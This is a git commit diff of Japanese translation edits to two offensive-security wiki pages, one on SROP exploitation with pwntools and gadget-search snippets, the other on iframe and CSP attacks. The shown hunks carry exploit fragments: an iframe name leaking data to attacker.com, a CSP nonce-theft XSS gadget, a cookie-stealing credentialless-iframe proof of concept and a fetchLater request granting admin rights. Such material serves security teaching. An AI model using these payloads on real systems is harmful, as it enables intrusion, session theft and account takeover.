Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 21:15:00 +00:00
parent a3b335d316
commit d3c907f4fa
2 changed files with 17 additions and 17 deletions

View File

@ -132,11 +132,11 @@ return 0;
```
## Exploit
セクション **`vdso`** では、オフセット **`0x7b0`** に **`sigreturn`** への呼び出しを見つけることができます:
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
したがって、漏洩した場合、バイナリがそれをロードしていない場合は **このアドレスを使用して `sigreturn` にアクセスすることが可能です**:
したがって、漏洩した場合、バイナリがそれをロードしていない場合は、このアドレスを使用して `sigreturn` にアクセスすることが可能です:
```python
from pwn import *
@ -171,7 +171,7 @@ p.interactive()
../ret2vdso.md
{{#endref}}
また、`/bin/sh`のアドレスをバイパスするに、それを指すいくつかの環境変数を作成することができます。詳細については:
また、`/bin/sh`のアドレスをバイパスするために、それを指すいくつかの環境変数を作成することができます。詳細については:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
@ -179,7 +179,7 @@ p.interactive()
---
## `sigreturn`ガジェットの自動発見 (2023-2025)
## `sigreturn`ガジェットを自動的に見つける (2023-2025)
最新のディストリビューションでは、`sigreturn`トランポリンは依然として**vDSO**ページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI`+branch-protection`やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットをハードコーディングすることを防ぎます
```bash
@ -193,7 +193,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
> 注: バイナリが**BTI**でコンパイルされると、すべての有効な間接分岐ターゲットの最初の命令は`bti c`になります。 リンカーによって配置された`sigreturn`トランポリンには、正しいBTIランディングパッドがすでに含まれているため、ガジェットは特権のないコードからも使用可能です。
## ROPとのSROPの連鎖(`mprotect`を介したピボット)
## ROPとのSROPのチェイニング(`mprotect`経由のピボット)
`rt_sigreturn`は、*すべての*汎用レジスタと`pstate`を制御することを可能にします。 x86の一般的なパターンは次のとおりです: 1) SROPを使用して`mprotect`を呼び出す、2) シェルコードを含む新しい実行可能スタックにピボットする。 同じアイデアがARM64でも機能します:
```python
@ -209,15 +209,15 @@ frame.pc = svc_call # will re-enter kernel
## カーネルの検証、PAC & シャドウスタック
Linux 5.16 ユーザースペースのシグナルフレームの厳格な検証が導入されました(コミット `36f5a6c73096`)。カーネルは現在、以下をチェックします:
Linux 5.16 はユーザースペースのシグナルフレームの厳格な検証を導入しました(コミット `36f5a6c73096`)。カーネルは現在、以下をチェックします:
* `uc_flags``extra_context` が存在する場合、`UC_FP_XSTATE` を含む必要があります。
* `struct rt_sigframe` の予約語はゼロでなければなりません。
* *extra_context* レコード内のすべてのポインタは整列されており、ユーザーアドレス空間内を指している必要があります。
`pwntools>=4.10`自動的に準拠したフレームを作成しますが、手動で構築する場合は、*reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略することを確認してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。
`pwntools>=4.10` は準拠したフレームを自動的に作成しますが、手動で構築する場合は *reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。
主流の Android 14 および Fedora 38 から、ユーザーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。ガジェットを選択する際は、その点を考慮してください。
主流の Android 14 および Fedora 38 から、ユーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。そのことを考慮してガジェットを選択してください。
ARMv8.9 で導入されたシャドウコールスタック(すでに ChromeOS 1.27+ で有効はコンパイラレベルの緩和策であり、SROP には干渉しません。なぜなら、戻り命令は実行されず、制御の流れはカーネルによって転送されるからです。

View File

@ -111,7 +111,7 @@ app.run()
```html
<!-- 機密の <script> の直前の注入ポイント -->
<iframe name="//attacker.com/?"> <!-- 属性は意図的にオープンのまま -->
<iframe name="//attacker.com/?"> <!-- 属性は意図的に開いたまま -->
````
```javascript
// attacker.com フレーム
@ -120,7 +120,7 @@ victim.location = 'about:blank';
console.log(victim.name); // → 漏洩した値
```
* **同一オリジン iframe を介したノンス盗難 (2024)** CSP ノンスは DOM から削除されず、DevTools で単に隠されます。攻撃者が *同一オリジン* iframe を注入できる場合例えば、HTML をサイトにアップロードすることによって)、子フレームは単に `document.querySelector('[nonce]').nonce` をクエリし、ポリシーを満たす新しい `<script nonce>` ノードを作成することができ、`strict-dynamic` にもかかわらず完全な JavaScript 実行を可能にします。次のガジェットは、マークアップ注入を XSS にエスカレートさせます:
* **同一オリジン iframe を介したノンス盗難 (2024)** CSP ノンスは DOM から削除されず、DevTools で単に隠されます。攻撃者が *同一オリジン* iframe を注入できる場合例えば、HTML をサイトにアップロードすることによって)、子フレームは単に `document.querySelector('[nonce]').nonce` をクエリし、ポリシーを満たす新しい `<script nonce>` ノードを作成することができ、`strict-dynamic` にもかかわらず完全な JavaScript 実行を可能にします。次のガジェットは、マークアップ注入を XSS にエスカレートさせます:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
@ -135,7 +135,7 @@ top.document.body.appendChild(s);
**防御ノート (クイックチェックリスト)**
1. 二次コンテキストを制御する *すべての* CSP ディレクティブ(`form-action``frame-src``child-src``object-src` など)を常に送信してください。
2. ノンスが秘密であることに依存しないでください—`strict-dynamic` **かつ** 注入ポイントを排除してください。
2. ノンスが秘密であることに依存しないでください—`strict-dynamic` **および** 注入ポイントを排除してください。
3. 信頼できないドキュメントを埋め込む必要がある場合は、`sandbox="allow-scripts allow-same-origin"` **を非常に注意して** 使用してください(または、スクリプト実行の隔離のみが必要な場合は `allow-same-origin` なしで)。
4. 深層防御の COOP+COEP デプロイを検討してください;新しい `<iframe credentialless>` 属性(§ 以下)は、サードパーティの埋め込みを壊すことなくそれを可能にします。
@ -168,19 +168,19 @@ iframe内のコンテンツは、`sandbox`属性を使用することで追加
Tip: 現代のブラウザは、`allow-scripts``allow-same-origin``allow-top-navigation-by-user-activation``allow-downloads-without-user-activation`などの細かいフラグをサポートしています。これらを組み合わせて、埋め込まれたアプリケーションに必要な最小限の機能のみを付与します。
属性の値は空にすることができ(`sandbox=""`、前述のすべての制限を適用します。あるいは、特定の制限からiframeを免除するためのスペース区切りの値のリストに設定することもできます。
属性の値は空のまま(`sandbox=""`にして、前述のすべての制限を適用することができます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。
```html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)で説明されているように、iframeの`credentialless`フラグは、リクエストに資格情報を送信せずにiframe内にページをロードするために使用され、iframe内でロードされたページの同一オリジンポリシーSOPを維持します。
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)で説明されているように、iframeの`credentialless`フラグは、リクエストに資格情報を送信せずにiframe内にページを読み込むために使用され、iframe内で読み込まれたページの同一オリジンポリシーSOPを維持します。
**Chrome 1102023年2月以降、この機能はデフォルトで有効**になっており、仕様は*anonymous iframe*という名前のでブラウザ間で標準化されています。MDNはこれを次のように説明しています「実際のオリジンと共有されないように、第三者のiframeを新しい一時的なストレージパーティションにロードするメカニズム」。攻撃者と防御者への影響:
**Chrome 1102023年2月以降、この機能はデフォルトで有効**になっており、仕様は*anonymous iframe*という名前のもとでブラウザ間で標準化されています。MDNはこれを次のように説明しています「実際のオリジンと共有されないように、第三者のiframeを新しい一時的なストレージパーティションに読み込むメカニズム」。攻撃者と防御者への影響:
* 異なるcredentialless iframe内のスクリプトは**同じトップレベルのオリジンを共有**、DOMを介して自由に相互作用できるため、マルチiframe自己XSS攻撃が可能になります以下のPoCを参照
* ネットワークが**資格情報を削除**されているため、iframe内のリクエストは実質的に認証されていないセッションとして振る舞います CSRF保護されたエンドポイントは通常失敗しますが、DOMを介して漏洩可能な公開ページは依然として範囲内です。
* 異なるcredentialless iframe内のスクリプトは**同じトップレベルのオリジンを共有し続け**、DOMを介して自由に相互作用できるため、マルチiframe自己XSS攻撃が可能になります以下のPoCを参照
* ネットワークが**資格情報を削除されているため**、iframe内のリクエストは実質的に認証されていないセッションとして振る舞います CSRF保護されたエンドポイントは通常失敗しますが、DOMを介して漏洩可能な公開ページは依然として範囲内です。
* credentialless iframeから生成されたポップアップは暗黙的に`rel="noopener"`を取得し、一部のOAuthフローを破壊します。
```javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
@ -217,7 +217,7 @@ alert(window.top[1].document.cookie);
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)に示されているように、API `fetchLater` はリクエストを後で実行するように設定することを可能にします一定の時間後。したがって、これは例えば、攻撃者のセッション内で被害者をログインさせSelf-XSSを使用`fetchLater` リクエストを設定し(例えば、現在のユーザーのパスワードを変更するため)、攻撃者のセッションからログアウトするために悪用される可能性があります。その後、被害者は自分のセッションにログインし、`fetchLater` リクエストが実行され、被害者のパスワードが攻撃者によって設定されたものに変更されます。
このように、被害者のURLがiframe内で読み込めない場合CSPやその他の制限のため、攻撃者は依然として被害者のセッション内でリクエストを実行することができます。
このように、被害者のURLがiframe内で読み込めなくてもCSPやその他の制限のため、攻撃者は依然として被害者のセッション内でリクエストを実行することができます。
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000